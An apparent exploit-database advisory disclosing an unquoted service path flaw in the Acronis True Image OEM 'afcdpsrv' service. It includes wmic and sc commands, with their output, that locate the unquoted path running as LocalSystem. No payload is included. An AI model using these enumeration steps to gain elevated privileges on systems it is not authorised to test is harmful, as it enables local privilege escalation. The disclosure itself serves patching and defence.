Acronis True Image OEM 19.0.5128 - 'afcdpsrv' Unquoted Service Path

# Exploit Title: Acronis True Image OEM 19.0.5128 - 'afcdpsrv' Unquoted Service Path
# Date: 2019-11-11
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.acronis.com
# Software: ftp://supportdownload:[email protected]/AcronisTrueImageOEM_5128.exe
# Version: 19.0.5128
# Tested on: Windows 10

# Description:
# Acronis True Image OEM 19.0.5128 suffers from an unquoted search path issue impacting the service 'afcdpsrv'. This could potentially allow an 
# authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require 
# the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could 
# potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges
# of the application.

# Prerequisites
# Local, Non-privileged Local User with restart capabilities

# Details
C:\>wmic service get name, pathname, displayname, startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

Acronis Nonstop Backup Service		afcdpsrv	C:\Program Files (x86)\Common Files\Acronis\CDP\afcdpsrv.exe	Auto

C:\>sc qc afcdpsrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: afcdpsrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files (x86)\Common Files\Acronis\CDP\afcdpsrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Acronis Nonstop Backup Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem